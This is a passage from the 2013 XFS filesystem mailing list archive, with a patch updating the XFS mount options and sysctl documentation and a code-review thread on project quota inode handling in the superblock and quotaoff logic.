b/fs/xfs/xfs_trans_dquot.c @@ -291,11 +291,10 @@ xfs_trans_mod_dquot( /* - * Given an array of dqtrx structures, lock all the dquots associated - * and join them to the transaction, provided they have been modified. - * We know that the highest number of dquots (of one type - usr OR grp), - * involved in a transaction is 2 and that both usr and grp combined - 3. - * So, we don't attempt to make this very generic. + * Given an array of dqtrx structures, lock all the dquots associated and join + * them to the transaction, provided they have been modified. We know that the + * highest number of dquots of one type - usr, grp OR prj - involved in a + * transaction is 2 so we don't need to make this very generic. */ STATIC void xfs_trans_dqlockedjoin( -- 1.8.3.2 From dave@fromorbit.com Tue Jul 9 16:04:14 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 71B6329E15 for ; Tue, 9 Jul 2013 16:04:14 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5423B304077 for ; Tue, 9 Jul 2013 14:04:11 -0700 (PDT) X-ASG-Debug-ID: 1373403846-04cbb04691d4c420002-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id SW8nouPeyqbc2rMN for ; Tue, 09 Jul 2013 14:04:08 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: At4LAKZ53FF5LD3k/2dsb2JhbABbgwnCCgSBGhd0giMBAQVWIxAIGDE5AxsZiA66F44zBwEED4UYA6kdgyMqgSwBHw Received: from ppp121-44-61-228.lns20.syd6.internode.on.net (HELO dastard) ([121.44.61.228]) by ipmail04.adl6.internode.on.net with ESMTP; 10 Jul 2013 06:34:04 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1Uwf4t-0005Rd-Dk; Wed, 10 Jul 2013 07:04:03 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1Uwf4t-0004Kd-Cp; Wed, 10 Jul 2013 07:04:03 +1000 From: Dave Chinner To: bpm@sgi.com Cc: xfs@oss.sgi.com Subject: [PATCH 1/3] xfs: update mount options documentation Date: Wed, 10 Jul 2013 07:03:59 +1000 X-ASG-Orig-Subj: [PATCH 1/3] xfs: update mount options documentation Message-Id: <1373403841-16612-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1373403841-16612-1-git-send-email-david@fromorbit.com> References: <1373403841-16612-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1373403848 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.136293 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header From: Dave Chinner Because it's horribly out of date. And mark various deprecated options as deprecated and give them a removal date. Signed-off-by: Dave Chinner Reviewed-by: Mark Tinguely --- Documentation/filesystems/xfs.txt | 317 +++++++++++++++++++++++++------------- 1 file changed, 209 insertions(+), 108 deletions(-) diff --git a/Documentation/filesystems/xfs.txt b/Documentation/filesystems/xfs.txt index 83577f0..12525b1 100644 --- a/Documentation/filesystems/xfs.txt +++ b/Documentation/filesystems/xfs.txt @@ -18,6 +18,8 @@ Mount Options ============= When mounting an XFS filesystem, the following options are accepted. +For boolean mount options, the names with the (*) suffix is the +default behaviour. allocsize=size Sets the buffered I/O end-of-file preallocation size when @@ -25,97 +27,128 @@ When mounting an XFS filesystem, the following options are accepted. Valid values for this option are page size (typically 4KiB) through to 1GiB, inclusive, in power-of-2 increments. - attr2/noattr2 - The options enable/disable (default is disabled for backward - compatibility on-disk) an "opportunistic" improvement to be - made in the way inline extended attributes are stored on-disk. - When the new form is used for the first time (by setting or - removing extended attributes) the on-disk superblock feature - bit field will be updated to reflect this format being in use. + The default behaviour is for dynamic end-of-file + preallocation size, which uses a set of heuristics to + optimise the preallocation size based on the current + allocation patterns within the file and the access patterns + to the file. Specifying a fixed allocsize value turns off + the dynamic behaviour. + + attr2 + noattr2 + The options enable/disable an "opportunistic" improvement to + be made in the way inline extended attributes are stored + on-disk. When the new form is used for the first time when + attr2 is selected (either when setting or removing extended + attributes) the on-disk superblock feature bit field will be + updated to reflect this format being in use. + + The default behaviour is determined by the on-disk feature + bit indicating that attr2 behaviour is active. If either + mount option it set, then that becomes the new default used + by the filesystem. CRC enabled filesystems always use the attr2 format, and so will reject the noattr2 mount option if it is set. - barrier - Enables the use of block layer write barriers for writes into - the journal and unwritten extent conversion. This allows for - drive level write caching to be enabled, for devices that - support write barriers. + barrier (*) + nobarrier + Enables/disables the use of block layer write barriers for + writes into the journal and for data integrity operations. + This allows for drive level write caching to be enabled, for + devices that support write barriers. discard - Issue command to let the block device reclaim space freed by the - filesystem. This is useful for SSD devices, thinly provisioned - LUNs and virtual machine images, but may have a performance - impact. - - dmapi - Enable the DMAPI (Data Management API) event callouts. - Use with the "mtpt" option. - - grpid/bsdgroups and nogrpid/sysvgroups - These options define what group ID a newly created file gets. - When grpid is set, it takes the group ID of the directory in - which it is created; otherwise (the default) it takes the fsgid - of the current process, unless the directory has the setgid bit - set, in which case it takes the gid from the parent directory, - and also gets the setgid bit set if it is a directory itself. - - ihashsize=value - In memory inode hashes have been removed, so this option has - no function as of August 2007. Option is deprecated. - - ikeep/noikeep - When ikeep is specified, XFS does not delete empty inode clusters - and keeps them around on disk. ikeep is the traditional XFS - behaviour. When noikeep is specified, empty inode clusters - are returned to the free space pool. The default is noikeep for - non-DMAPI mounts, while ikeep is the default when DMAPI is in use. - - inode64 - Indicates that XFS is allowed to create inodes at any location - in the filesystem, including those which will result in inode - numbers occupying more than 32 bits of significance. This is - the default allocation option. Applications which do not handle - inode numbers bigger than 32 bits, should use inode32 option. + nodiscard (*) + Enable/disable the issuing of commands to let the block + device reclaim space freed by the filesystem. This is + useful for SSD devices, thinly provisioned LUNs and virtual + machine images, but may have a performance impact. + + Note: It is currently recommended that you use the fstrim + application to discard unused blocks rather than the discard + mount option because the performance impact of this option + is quite severe. + + grpid/bsdgroups + nogrpid/sysvgroups (*) + These options define what group ID a newly created file + gets. When grpid is set, it takes the group ID of the + directory in which it is created; otherwise it takes the + fsgid of the current process, unless the directory has the + setgid bit set, in which case it takes the gid from the + parent directory, and also gets the setgid bit set if it is + a directory itself. + + filestreams + Make the data allocator use the filestreams allocation mode + across the entire filesystem rather than just on directories + configured to use it. + + ikeep + noikeep (*) + When ikeep is specified, XFS does not delete empty inode + clusters and keeps them around on disk. When noikeep is + specified, empty inode clusters are returned to the free + space pool. inode32 - Indicates that XFS is limited to create inodes at locations which - will not result in inode numbers with more than 32 bits of - significance. This is provided for backwards compatibility, since - 64 bits inode numbers might cause problems for some applications - that cannot handle large inode numbers. - - largeio/nolargeio + inode64 (*) + When inode32 is specified, it indicates that XFS limits + inode creation to locations which will not result in inode + numbers with more than 32 bits of significance. + + When inode64 is specified, it indicates that XFS is allowed + to create inodes at any location in the filesystem, + including those which will result in inode numbers occupying + more than 32 bits of significance. + + inode32 is provided for backwards compatibility with older + systems and applications, since 64 bits inode numbers might + cause problems for some applications that cannot handle + large inode numbers. If applications are in use which do + not handle inode numbers bigger than 32 bits, the inode32 + option should be specified. + + + largeio + nolargeio (*) If "nolargeio" is specified, the optimal I/O reported in - st_blksize by stat(2) will be as small as possible to allow user - applications to avoid inefficient read/modify/write I/O. - If "largeio" specified, a filesystem that has a "swidth" specified - will return the "swidth" value (in bytes) in st_blksize. If the - filesystem does not have a "swidth" specified but does specify - an "allocsize" then "allocsize" (in bytes) will be returned - instead. - If neither of these two options are specified, then filesystem - will behave as if "nolargeio" was specified. + st_blksize by stat(2) will be as small as possible to allow + user applications to avoid inefficient read/modify/write + I/O. This is typically the page size of the machine, as + this is the granularity of the page cache. + + If "largeio" specified, a filesystem that was created with a + "swidth" specified will return the "swidth" value (in bytes) + in st_blksize. If the filesystem does not have a "swidth" + specified but does specify an "allocsize" then "allocsize" + (in bytes) will be returned instead. Otherwise the behaviour + is the same as if "nolargeio" was specified. logbufs=value - Set the number of in-memory log buffers. Valid numbers range - from 2-8 inclusive. - The default value is 8 buffers for filesystems with a - blocksize of 64KiB, 4 buffers for filesystems with a blocksize - of 32KiB, 3 buffers for filesystems with a blocksize of 16KiB - and 2 buffers for all other configurations. Increasing the - number of buffers may increase performance on some workloads - at the cost of the memory used for the additional log buffers - and their associated control structures. + Set the number of in-memory log buffers. Valid numbers + range from 2-8 inclusive. + + The default value is 8 buffers. + + If the memory cost of 8 log buffers is too high on small + systems, then it may be reduced at some cost to performance + on metadata intensive workloads. The logbsize option below + controls the size of each buffer and so is also relevent to + this case. logbsize=value - Set the size of each in-memory log buffer. - Size may be specified in bytes, or in kilobytes with a "k" suffix. - Valid sizes for version 1 and version 2 logs are 16384 (16k) and - 32768 (32k). Valid sizes for version 2 logs also include - 65536 (64k), 131072 (128k) and 262144 (256k). - The default value for machines with more than 32MiB of memory - is 32768, machines with less memory use 16384 by default. + Set the size of each in-memory log buffer. The size may be + specified in bytes, or in kilobytes with a "k" suffix. + Valid sizes for version 1 and version 2 logs are 16384 (16k) + and 32768 (32k). Valid sizes for version 2 logs also + include 65536 (64k), 131072 (128k) and 262144 (256k). The + logbsize must be an integer multiple of the log + stripe unit configured at mkfs time. + + The default value for for version 1 logs is 32768, while the + default value for version 2 logs is MAX(32768, log_sunit). logdev=device and rtdev=device Use an external log (metadata journal) and/or real-time device. @@ -124,16 +157,11 @@ When mounting an XFS filesystem, the following options are accepted. optional, and the log section can be separate from the data section or contained within it. - mtpt=mountpoint - Use with the "dmapi" option. The value specified here will be - included in the DMAPI mount event, and should be the path of - the actual mountpoint that is used. - noalign - Data allocations will not be aligned at stripe unit boundaries. - - noatime - Access timestamps are not updated when a file is read. + Data allocations will not be aligned at stripe unit + boundaries. This is only relevant to filesystems created + with non-zero data alignment parameters (sunit, swidth) by + mkfs. norecovery The filesystem will be mounted without running log recovery. @@ -144,8 +172,14 @@ When mounting an XFS filesystem, the following options are accepted. the mount will fail. nouuid - Don't check for double mounted file systems using the file system uuid. - This is useful to mount LVM snapshot volumes. + Don't check for double mounted file systems using the file + system uuid. This is useful to mount LVM snapshot volumes, + and often used in combination with "norecovery" for mounting + read-only snapshots. + + noquota + Forcibly turns off all quota accounting and enforcement + within the filesystem. uquota/usrquota/uqnoenforce/quota User disk quota accounting enabled, and limits (optionally) @@ -160,24 +194,64 @@ When mounting an XFS filesystem, the following options are accepted. enforced. Refer to xfs_quota(8) for further details. sunit=value and swidth=value - Used to specify the stripe unit and width for a RAID device or - a stripe volume. "value" must be specified in 512-byte block - units. - If this option is not specified and the filesystem was made on - a stripe volume or the stripe width or unit were specified for - the RAID device at mkfs time, then the mount system call will - restore the value from the superblock. For filesystems that - are made directly on RAID devices, these options can be used - to override the information in the superblock if the underlying - disk layout changes after the filesystem has been created. - The "swidth" option is required if the "sunit" option has been - specified, and must be a multiple of the "sunit" value. + Used to specify the stripe unit and width for a RAID device + or a stripe volume. "value" must be specified in 512-byte + block units. These options are only relevant to filesystems + that were created with non-zero data alignment parameters. + + The sunit and swidth parameters specified must be compatible + with the existing filesystem alignment characteristics. In + general, that means the only valid changes to sunit are + increasing it by a power-of-2 multiple. Valid swidth values + are any integer multiple of a valid sunit value. + + Typically the only time these mount options are necessary if + after an underlying RAID device has had it's geometry + modified, such as adding a new disk to a RAID5 lun and + reshaping it. swalloc Data allocations will be rounded up to stripe width boundaries when the current end of file is being extended and the file size is larger than the stripe width size. + wsync + When specified, all filesystem namespace operations are + executed synchronously. This ensures that when the namespace + operation (create, unlink, etc) completes, the change to the + namespace is on stable storage. This is useful in HA setups + where failover must not result in clients seeing + inconsistent namespace presentation during or after a + failover event. + + +Deprecated Mount Options +======================== + + delaylog/nodelaylog + Delayed logging is the only logging method that XFS supports + now, so these mount options are now ignored. + + Due for removal in 3.12. + + ihashsize=value + In memory inode hashes have been removed, so this option has + no function as of August 2007. Option is deprecated. + + Due for removal in 3.12. + + irixsgid + This behaviour is now controlled by a sysctl, so the mount + option is ignored. + + Due for removal in 3.12. + + osyncisdsync + osyncisosync + O_SYNC and O_DSYNC are fully supported, so there is no need + for these options any more. + + Due for removal in 3.12. sysctls ======= @@ -189,15 +263,20 @@ The following sysctls are available for the XFS filesystem: in /proc/fs/xfs/stat. It then immediately resets to "0". fs.xfs.xfssyncd_centisecs (Min: 100 Default: 3000 Max: 720000) - The interval at which the xfssyncd thread flushes metadata - out to disk. This thread will flush log activity out, and - do some processing on unlinked inodes. + The interval at which the filesystem flushes metadata + out to disk and runs internal cache cleanup routines. - fs.xfs.xfsbufd_centisecs (Min: 50 Default: 100 Max: 3000) - The interval at which xfsbufd scans the dirty metadata buffers list. + fs.xfs.filestream_centisecs (Min: 1 Default: 3000 Max: 360000) + The interval at which the filesystem ages filestreams cache + references and returns timed-out AGs back to the free stream + pool. - fs.xfs.age_buffer_centisecs (Min: 100 Default: 1500 Max: 720000) - The age at which xfsbufd flushes dirty metadata buffers to disk. + fs.xfs.speculative_prealloc_lifetime + (Units: seconds Min: 1 Default: 300 Max: 86400) + The interval at which the background scanning for inodes + with unused speculative preallocation runs. The scan + removes unused preallocation from clean inodes and releases + the unused space back to the free pool. fs.xfs.error_level (Min: 0 Default: 3 Max: 11) A volume knob for error reporting when internal errors occur. @@ -254,9 +333,31 @@ The following sysctls are available for the XFS filesystem: by the xfs_io(8) chattr command on a directory to be inherited by files in that directory. + fs.xfs.inherit_nodefrag (Min: 0 Default: 1 Max: 1) + Setting this to "1" will cause the "nodefrag" flag set + by the xfs_io(8) chattr command on a directory to be + inherited by files in that directory. + fs.xfs.rotorstep (Min: 1 Default: 1 Max: 256) In "inode32" allocation mode, this option determines how many files the allocator attempts to allocate in the same allocation group before moving to the next allocation group. The intent is to control the rate at which the allocator moves between allocation groups when allocating extents for new files. + +Deprecated Sysctls +================== + + fs.xfs.xfsbufd_centisecs (Min: 50 Default: 100 Max: 3000) + Dirty metadata is now tracked by the log subsystem and + flushing is driven by log space and idling demands. The + xfsbufd no longer exists, so this syctl does nothing. + + Due for removal in 3.14. + + fs.xfs.age_buffer_centisecs (Min: 100 Default: 1500 Max: 720000) + Dirty metadata is now tracked by the log subsystem and + flushing is driven by log space and idling demands. The + xfsbufd no longer exists, so this syctl does nothing. + + Due for removal in 3.14. -- 1.8.3.2 From sekharan@us.ibm.com Tue Jul 9 16:07:33 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 970B829E0C for ; Tue, 9 Jul 2013 16:07:33 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3B323AC003 for ; Tue, 9 Jul 2013 14:07:33 -0700 (PDT) X-ASG-Debug-ID: 1373404051-04bdf0233fd5cd00001-NocioJ Received: from e33.co.us.ibm.com (e33.co.us.ibm.com [32.97.110.151]) by cuda.sgi.com with ESMTP id qdca5aFPI52rn3hb (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 09 Jul 2013 14:07:31 -0700 (PDT) X-Barracuda-Envelope-From: sekharan@us.ibm.com X-Barracuda-Apparent-Source-IP: 32.97.110.151 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.151] Received: from /spool/local by e33.co.us.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Tue, 9 Jul 2013 21:06:40 -0000 X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.151] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.151] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.151] X-Barracuda-IPDD: Level2 [us.ibm.com/32.97.110.151] Received: from d03dlp03.boulder.ibm.com (9.17.202.179) by e33.co.us.ibm.com (192.168.1.133) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Tue, 9 Jul 2013 21:06:37 -0000 Received: from d03relay01.boulder.ibm.com (d03relay01.boulder.ibm.com [9.17.195.226]) by d03dlp03.boulder.ibm.com (Postfix) with ESMTP id 6913119D8042 for ; Tue, 9 Jul 2013 15:06:26 -0600 (MDT) Received: from d03av01.boulder.ibm.com (d03av01.boulder.ibm.com [9.17.195.167]) by d03relay01.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r69L6RBa102440 for ; Tue, 9 Jul 2013 15:06:28 -0600 Received: from d03av01.boulder.ibm.com (loopback [127.0.0.1]) by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVout) with ESMTP id r69L6RiG000516 for ; Tue, 9 Jul 2013 15:06:27 -0600 Received: from [9.41.106.170] (chandra-dt.austin.ibm.com [9.41.106.170]) by d03av01.boulder.ibm.com (8.14.4/8.13.1/NCO v10.0 AVin) with ESMTP id r69L6QNd000455; Tue, 9 Jul 2013 15:06:26 -0600 Subject: Re: [PATCH v9 4/6] xfs: Start using pquotaino from the superblock. From: Chandra Seetharaman X-ASG-Orig-Subj: Re: [PATCH v9 4/6] xfs: Start using pquotaino from the superblock. Reply-To: sekharan@us.ibm.com To: Dave Chinner Cc: xfs@oss.sgi.com In-Reply-To: <20130709012137.GF3438@dastard> References: <1372042107-27332-1-git-send-email-sekharan@us.ibm.com> <1372042107-27332-5-git-send-email-sekharan@us.ibm.com> <20130625063135.GU29376@dastard> <1372693830.9777.4.camel@chandra-dt.ibm.com> <20130704011208.GR14996@dastard> <1373325630.9777.286.camel@chandra-dt.ibm.com> <20130709012137.GF3438@dastard> Content-Type: text/plain; charset="UTF-8" Organization: IBM Date: Tue, 09 Jul 2013 16:06:26 -0500 Message-ID: <1373403986.6020.12.camel@chandra-dt.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.28.3 (2.28.3-30.el6) Content-Transfer-Encoding: 7bit X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13070921-2398-0000-0000-00000038AA87 X-Barracuda-Connect: e33.co.us.ibm.com[32.97.110.151] X-Barracuda-Start-Time: 1373404051 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, 2013-07-09 at 11:21 +1000, Dave Chinner wrote: > On Mon, Jul 08, 2013 at 06:20:30PM -0500, Chandra Seetharaman wrote: > > On Thu, 2013-07-04 at 11:12 +1000, Dave Chinner wrote: > > > On Mon, Jul 01, 2013 at 10:50:30AM -0500, Chandra Seetharaman wrote: > > > > Hi Dave, > > > > > > > > I sent this email on 6/25 (just before my reply on 5/6 w.r.t adding the > > > > test to xfstests). Since I didn't get any response from you on this and > > > > got reply on the other one, I concluded that you accepted my > > > > justification/clarification. > > > > > > > > I just looked at the archives and do not see my original email :(... but > > > > is intact in my sent folder!! > > > > > > > > Please see if my justification below is valid. > > > > > > > > Chandra > > > > > > > > On Tue, 2013-06-25 at 16:31 +1000, Dave Chinner wrote: > > > > > On Sun, Jun 23, 2013 at 09:48:25PM -0500, Chandra Seetharaman wrote: > > > > > > Start using pquotino and define a macro to check if the > > > > > > superblock has pquotino. > > > > > > > > > > > > Keep backward compatibilty by alowing mount of older superblock > > > > > > with no separate pquota inode. > > > > > > > > > > > > Signed-off-by: Chandra Seetharaman > > > > > > --- > > > > > > fs/xfs/xfs_fsops.c | 3 +- > > > > > > fs/xfs/xfs_mount.c | 51 +++++++++++++++++++++++++++++++-------- > > > > > > fs/xfs/xfs_qm.c | 22 +++++++++-------- > > > > > > fs/xfs/xfs_qm_syscalls.c | 24 ++++++++++++++++-- > > > > > > fs/xfs/xfs_quota.h | 8 ------ > > > > > > fs/xfs/xfs_sb.h | 16 +++++++++++- > > > > > > fs/xfs/xfs_super.c | 14 ++++++---- > > > > > > include/uapi/linux/dqblk_xfs.h | 1 + > > > > > > 8 files changed, 99 insertions(+), 40 deletions(-) > > > > > > > > > > > > diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c > > > > > > index 614eb0c..3bf05f4 100644 > > > > > > --- a/fs/xfs/xfs_fsops.c > > > > > > +++ b/fs/xfs/xfs_fsops.c > > > > > > @@ -501,7 +501,8 @@ xfs_growfs_data_private( > > > > > > error, agno); > > > > > > break; > > > > > > } > > > > > > - xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, XFS_SB_ALL_BITS); > > > > > > + xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, > > > > > > + xfs_sb_all_bits(&mp->m_sb)); > > > > > > > > > > I think you could still pass XFS_SB_ALL_BITS to xfs_sb_to_disk(), > > > > > and do the XFS_SB_PQUOTINO filtering inside xfs_sb_quota_to_disk(). > > > > > > > > > > Actually xfs_sb_all_bits() is only used here, and it seems to me > > > > > that it is not necessary as we do a pquota support check inside > > > > > xfs_sb_to_disk() and can handle this in that place... > > > > > > > > Yes, this is the only place that uses XFS_SB_ALL_BITS, and the purpose > > > > is to copy over the superblock to secondary. > > > > > > > > The change I made ensures that the caller does what is correct. i.e if > > > > it is copying an earlier version of superblock, it does not try to copy > > > > the pquotino, and if it uses the newer version of superblock it copies > > > > over the pquotino. > > > > > > The caller does not need to know anything about how the quota bits > > > are encoded in the superblock. > > > > Caller doesn't need to know about quota bits, that is why I encapsulated > > it into the function xfs_sb_all_bits(). > > Requiring a function at the caller site to filter bits out is saying > "the caller needs to know it has to filter certain options out". > > What happens if we add a new piece of optional functionality that is > conditional for superblock writeback? So sometimes we need to filter > only PQUOTINO_BIT, sometimes we nee dto filter FOO_BIT, sometimes > we need to filter BAR_BIT, and so on? > > What you are proposing effectively sets us down the path of having > to do this in future: > > if (xfs_sb_version_hasfoo) > xfs_sb_to_disk(XFS_SB_FOO_BIT) > if (xfs_sb_version_hasbar) > xfs_sb_to_disk(XFS_SB_BAR_BIT) > xfs_sb_to_disk((XFS_SB_ALL_BITS & ~(XFS_SB_FOO_BIT|XFS_SB_BAR_BIT))); > > All this needs to be handled in xfs_sb_to_disk(). > > > > That's the reason for encapsulating such on-disk format conversion > > > inside xfs_sb_to/from_disk(). Same with all the mount flags and so on > > > - the differences between what the code uses and what is on disk is > > > all encapsulated inside xfs_sb_quota_to/from_disk. > > > > Encapsulation in xfs_sb_to_disk() is not enough for this situation. If > > both PQUOTINO and GQUOTINO is set for version 4 of the superblock, > > xfs_sb_to_disk will not be able to know if it has to treat PQUOTINO as > > valid or GQUOTINO as valid. > > The contents of from->sb_qflags tells you which one is valid. > Indeed, you have to look at from->sb_qflags to set the OQUOTA flags > correctly in to->sb_qflags, so I don't see why you can't use > from->sb_qflags to determine which of G/PQUOTINO needs to copied > across to to->sb_gquotino.... > Ok. That is a good option. So, this is what I am thinking that I will add before the PQUOTINO check in xfs_sb_quota_to_disk(): if ((*fields & XFS_SB_PQUOTINO) && (*fields & XFS_SB_GQUOTINO)) { /* * PQUOTINO and GQUOTINO cannot be used together in versions * earlier than version 5 of superblock. If used, use sb_flags * to resolve which one should be set. */ if (from->sb_qflags & XFS_PQUOTA_ACCT) *fields &= ~XFS_SB_GQUOTINO; else *fields &= ~XFS_SB_PQUOTINO; } > > > > > > /* > > > > > > * If quotas is completely disabled, close shop. > > > > > > */ > > > > > > - if (((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET1) || > > > > > > - ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET2)) { > > > > > > + if ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_ALL) { > > > > > > mutex_unlock(&q->qi_quotaofflock); > > > > > > xfs_qm_destroy_quotainfo(mp); > > > > > > return (0); > > > > > > > > > > This makes the assumption that userspace passes all three quota > > > > > types into the kernel in a single quota off call as the only way to > > > > > turn quotas off completely. What happens if they are turned off one > > > > > at a time? Shouldn't we detect when no more quotas are actually > > > > > enabled and then do this? > > > > > > > > Yes, I agree that there is a difference in behavior if the user turns > > > > off quota one-by-one Vs turns off all quota at once. But, the behavior > > > > difference is not seen by the user space. And, I did not make the > > > > change :) > > > > > > > > I just included project quota into the fold. > > > > > > Sure, but my point still stands - if userspace currently expects > > > quota to be turned off by turning of user+group quota at the same > > > time, or user+project quota at the same time, then this will no > > > longer turn quotas off even if u/g or u/p were the only quotas > > > enabled. It's an unexpected change of behaviour, especially for > > > filesystems that don't support the separate pquota inode... > > > > IIUC, user space will not see any difference in behavior even if this > > specific code block is not present in this function. Whatever is being > > done in xfs_qm_destroy_quotainfo() is done by the code just below the > > above block in xfs_qm_scall_quotaoff(). Only additional thing > > xfs_qm_destroy_quotainfo() does is to clean up all other in-kernel data > > structures associated with quota for this mount point. > > > > The behavior was that if _all_ the quotas are turned off at the same > > time, clean up all in-kernel data structures associated with quota. If > > the quotas were turned off one at a time, leave the in-kernel stuff even > > when the last quota is turned off. > > > > I maintained the same behavior. > > That's where I disagree. You kept the same /line of reasoning/ as the > original code, not the same behaviour. What I'm saying is that > the line of reasoning is wrong to begin with, and hence keeping it > is not the right thing to do. > > Indeed, code archeology shows this line of reasoning is zero-day > Irix behaviour: > > http://oss.sgi.com/cgi-bin/gitweb.cgi?p=archive/xfs-import.git;a=blob;f=fs/xfs/xfs_qm_syscalls.c;hb=0d5ad8383061fbc0a9804fbb98218750000fe032 > > 730 /* > 731 * If quotas is completely disabled, close shop. > 732 */ > 733 if ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_ALL) { > 734 mutex_unlock(&mp->QI_QOFFLOCK); > 735 xfs_qm_destroy_quotainfo(mp); > 736 return (0); > 737 } > > Hmmm, looks kind of familiar, doesn't it? But what's the caller > context? > > 155 case Q_QUOTAOFF: > 156 /* */ > 157 flags = addr? > 158 xfs_qm_import_flags((uint *)addr) : > 159 XFS_ALL_QUOTA_ACCT_ENFD; > 160 error = xfs_qm_scall_quotaoff(mp, flags); > 161 > > And from xfs_dquot.h: > > 95 #define XFS_ALL_QUOTA_ACCT_ENFD (XFS_UQUOTA_ACCT|XFS_UQUOTA_ENFD|\ > 96 XFS_PQUOTA_ACCT|XFS_PQUOTA_ENFD) > > If no parameter was passed, the default behaviour is to turn off > all quotas. IOWs, this logic made sense Irix, but the linux case has no > such default behaviour - it only passes what userspace says to turn > off. > > And that's exactly my point - these semantics made sense for Irix all > those years ago, but they simply don't make sense now. Hence while > we are touching this code we should fix it up. i.e. if we've turned > off all the quotas, clean up properly. In effect, you are asking me to fix a problem that existed when xfs was ported to Linux. Sure, will do it. I will send a separate patch to fix the problem and change my patch accordingly. > > > I understand your point that _all_ mean u/g or u/p in older version of > > superblock. But, the difference in behavior is not drastic and is not > > seen by the user space at all. > > > > If still unconvinced, is this the code you want to see there ? > > > > if (((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_ALL) && > > xfs_sb_version_has_pquota(&mp->sb)) || > > ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET1) || > > ((flags & XFS_MOUNT_QUOTA_ALL) == XFS_MOUNT_QUOTA_SET2)) { > > : > > : > > } > > No. If, as a result of turning off quotas, there are no active > quotas then turn off the quota subsystem. mp->m_qflags will tell us > exactly what quota is still running when we get to this point... > > Cheers, > > Dave. From bpm@sgi.com Tue Jul 9 16:09:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E83E729E0C for ; Tue, 9 Jul 2013 16:09:44 -0500 (CDT) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id D43A78F8066; Tue, 9 Jul 2013 14:09:41 -0700 (PDT) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id A9B05500B4B; Tue, 9 Jul 2013 16:09:41 -0500 (CDT) Date: Tue, 9 Jul 2013 16:09:41 -0500 From: Ben Myers To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/3] xfs: remaining 3.11 merge patches Message-ID: <20130709210941.GV32736@sgi.com> References: <1373403841-16612-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 